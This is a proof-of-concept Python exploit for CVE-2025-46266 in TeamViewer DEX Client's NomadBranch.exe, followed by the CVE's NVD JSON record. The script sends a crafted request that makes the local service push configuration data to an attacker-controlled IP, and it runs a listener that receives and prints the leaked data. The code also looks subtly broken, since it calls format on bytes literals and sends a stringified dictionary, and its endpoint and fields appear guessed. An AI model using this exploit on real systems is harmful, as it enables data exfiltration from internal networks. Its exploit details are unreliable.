CVE-2025-46266

# CVE-2025-46266 PoC - TeamViewer DEX Client NomadBranch.exe Data Exfiltration # This PoC demonstrates forcing NomadBranch.exe to send data to an arbitrary internal IP import socket import struct import requests TARGET_IP = "192.168.1.100" # Attacker-controlled internal IP TARGET_PORT = 8080 NOMAD_BRANCH_PORT = 80 # Default NomadBranch service port def create_malicious_request(): """Create a malicious content distribution request targeting arbitrary IP""" # Malformed request that exploits lack of IP validation payload = { "action": "distribute", "target_ip": TARGET_IP, "target_port": TARGET_PORT, "data_type": "config", "compression": "none" } return payload def send_exploit(): """Send exploit to NomadBranch service""" try: # Connect to NomadBranch service sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(('127.0.0.1', NOMAD_BRANCH_PORT)) # Send malicious request request = b"POST /api/distribute HTTP/1.1\r\n" request += b"Host: 127.0.0.1\r\n" request += b"Content-Type: application/json\r\n" request += b"X-Target-IP: {}\r\n".format(TARGET_IP).encode() request += b"X-Target-Port: {}\r\n".format(TARGET_PORT).encode() request += b"\r\n" request += str(create_malicious_request()).encode() sock.send(request) response = sock.recv(4096) sock.close() return response except Exception as e: return f"Exploit failed: {e}" def start_listener(): """Start listener to receive exfiltrated data""" server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.bind(('0.0.0.0', TARGET_PORT)) server.listen(5) print(f"[*] Listening on port {TARGET_PORT}") while True: client, addr = server.accept() print(f"[*] Received connection from {addr}") data = client.recv(4096) print(f"[*] Received data: {data}") client.close() if __name__ == "__main__": print("CVE-2025-46266 PoC - TeamViewer DEX Client Exploitation") print("Usage: Run start_listener() in separate thread, then call send_exploit()")

{"cve": {"id": "CVE-2025-46266", "sourceIdentifier": "[email protected]", "published": "2025-12-11T12:16:25.270", "lastModified": "2026-01-14T19:57:37.430", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in TeamViewer DEX Client (former 1E Client) - Content Distribution Service (NomadBranch.exe) prior version 25.11 for Windows allows malicious actors to coerce the service into transmitting data to an arbitrary internal IP address, potentially leaking sensitive information."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:teamviewer:digital_employee_experience:*:*:*:*:*:*:*:*", "versionEndExcluding": "25.11", "matchCriteriaId": "8611FFE2-869F-435C-8FC2-8522C656D4EA"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://www.teamviewer.com/en/resources/trust-center/security-bulletins/tv-2025-1005/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}